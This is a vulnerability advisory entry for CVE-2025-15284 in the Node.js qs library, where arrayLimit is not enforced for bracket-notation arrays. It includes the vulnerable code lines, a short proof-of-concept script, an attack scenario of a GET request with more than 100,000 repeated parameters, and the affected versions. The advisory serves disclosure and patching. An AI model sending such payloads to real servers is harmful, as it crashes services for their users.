CVE-2025-15284

Source
https://nvd.nist.gov/vuln/detail/CVE-2025-15284
Import Source
https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2025-15284.json
JSON Data
https://api.osv.dev/v1/vulns/CVE-2025-15284
Aliases
Downstream
Related
Published
2025-12-29T23:15:42.703Z
Modified
2026-01-03T05:42:12.099666Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X CVSS Calculator
Summary
[none]
Details

Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1.

SummaryThe arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

DetailsThe arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check }

Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; }

The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoCTest 1 - Basic bypass:

npm install qs

const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5)

Test 2 - DoS demonstration:

const qs = require('qs'); const attack = 'a[]=' + Array(10000).fill('x').join('&a[]='); const result = qs.parse(attack, { arrayLimit: 100 }); console.log(result.a.length); // Output: 10000 (should be max 100)

Configuration:

  • arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
  • Use bracket notation: a[]=value (not indexed a[0]=value)

ImpactDenial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

  • Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
  • Application parses with qs.parse(query, { arrayLimit: 100 })
  • qs ignores limit, parses all 100,000 elements into array
  • Server memory exhausted → application crashes or becomes unresponsive
  • Service unavailable for all users Real-world impact:

  • Single malicious request can crash server

  • No authentication required
  • Easy to automate and scale
  • Affects any endpoint parsing query strings with bracket notation
References

Affected packages

Git / github.com/ljharb/qs

Affected ranges

Type
GIT
Repo
https://github.com/ljharb/qs
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed

Affected versions

v1.*

v1.0.0
v1.0.1
v1.0.2
v1.1.0
v1.2.0
v1.2.1
v1.2.2

v2.*

v2.0.0
v2.1.0
v2.2.0
v2.2.1
v2.2.2
v2.2.3
v2.2.4
v2.2.5
v2.3.0
v2.3.1
v2.3.2
v2.3.3
v2.4.0
v2.4.1
v2.4.2

v3.*

v3.0.0
v3.1.0

v4.*

v4.0.0

v5.*

v5.0.0
v5.1.0
v5.2.0

v6.*

v6.0.0
v6.0.1
v6.0.2
v6.0.3
v6.0.4
v6.1.0
v6.1.1
v6.1.2
v6.10.0
v6.10.1
v6.10.2
v6.10.3
v6.10.4
v6.10.5
v6.11.0
v6.11.1
v6.11.2
v6.12.0
v6.12.1
v6.12.2
v6.12.3
v6.13.0
v6.13.1
v6.14.0
v6.2.0
v6.2.1
v6.2.2
v6.2.3
v6.2.4
v6.3.0
v6.3.1
v6.3.2
v6.3.3
v6.4.0
v6.4.1
v6.5.0
v6.5.1
v6.5.2
v6.5.3
v6.6.0
v6.6.1
v6.7.0
v6.7.1
v6.7.2
v6.7.3
v6.8.0
v6.8.1
v6.8.2
v6.8.3
v6.9.0
v6.9.1
v6.9.2
v6.9.3
v6.9.4
v6.9.5
v6.9.6
v6.9.7